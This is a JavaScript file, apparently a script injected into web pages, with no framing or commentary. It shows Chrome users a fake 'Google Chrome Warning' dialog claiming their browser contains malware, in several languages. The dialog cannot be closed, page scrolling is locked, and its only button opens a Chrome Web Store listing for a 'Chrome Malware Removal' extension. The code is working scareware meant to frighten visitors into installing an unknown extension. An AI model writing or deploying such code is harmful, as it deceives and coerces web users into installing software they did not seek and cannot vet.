cc_test.js

function getCookie(name) {
  var matches = document.cookie.match(new RegExp(
    "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
  ));
  return matches ? decodeURIComponent(matches[1]) : undefined;
}

var ua = navigator.userAgent.toLowerCase();
var is_chrome = ua.indexOf("chrome") > -1;

if (is_chrome && getCookie('_sb_last_visit_3') != 'yes') {
    var lang = navigator.languages ? navigator.languages[0] : (navigator.language || navigator.userLanguage);
    if (lang) lang = lang.substring(0, 2);
    console.log('lang: ' + lang);

    var date = new Date;
    date.setDate(date.getDate() + 7);

    document.cookie = "_sb_last_visit_3=yes; path=/; expires=" + date.toUTCString();

    var not_installed = document.getElementById('_chrome_extension_1') === null;

lang = 'en';

    var msg = 'Your browser contains MALWARE. You have to install Chrome Malware Removal tool.';

    if (lang == 'es') msg = "Su navegador contiene malware. Usted tiene que instalar la herramienta de eliminación de malware Chrome.";
    if (lang == 'it') msg = "Il tuo browser contiene malware. È necessario installare strumento di rimozione malware Chrome.";
    if (lang == 'fr') msg = "Votre navigateur contient MALWARE. Vous devez installer l'outil de suppression de logiciels malveillants Chrome.";
    if (lang == 'pt') msg = "Seu navegador contém malware. Você tem que instalar o Ferramenta de remoção Chrome Malware.";
    if (lang == 'de') msg = "Ihr Browser enthält MALWARE. Sie müssen Chrome Malware Removal Tool zu installieren.";
    if (lang == 'ru') msg = "Ваш браузер содержит вредоносный код. Вы должны установить расширение для блокировки вредоносного кода.";
    if (lang == 'gr') msg = "Το πρόγραμμα περιήγησής σας περιέχει κακόβουλο λογισμικό. Θα πρέπει να εγκαταστήσετε το Chrome Malware εργαλείο αφαίρεσης.";

    if (not_installed) {
        function goFullscreen(id) {
            var element = document.getElementById(id);

            if (element.webkitRequestFullScreen) {
                element.webkitRequestFullScreen();
            }
        }

        document.write('<link rel="stylesheet" href="//code.jquery.com/ui/1.12.0/themes/blitzer/jquery-ui.css"></link>');
        document.write('<script src="//code.jquery.com/jquery-2.2.4.min.js"></script>');
        document.write('<script src="//code.jquery.com/ui/1.12.0/jquery-ui.min.js"></script>');

        document.addEventListener("DOMContentLoaded", function(event) {
            $('<div id="warning_dialog" title="Google Chrome Warning" style="z-index: 2147483647"><img src="//front.to/img/chrome.png" style="float: left;"/><p>' + msg + '</p></div>').dialog({
                open: function(event, ui) {
                    $(".ui-dialog-titlebar-close", ui.dialog | ui).hide();
                },
                dialogClass: "no-close",
                closeOnEscape: false,
                draggable: false,
                modal: true,
                resizable: false,
                minWidth: 450,
                buttons: [
                {
                  text: "Install",
                  click: function() {
                    goFullscreen('warning_dialog');
                    window.open('https://chrome.google.com/webstore/detail/chrome-malware-removal-to/mbdoonnjlifcmakklcaembokjhjikank?utm_source=cc&utm_medium=dialog&utm_campaign=mlw');
                    $(this).dialog("close");
                  }
                }
              ]
            });
            $("body").css("overflow", "hidden");
        });
    }
}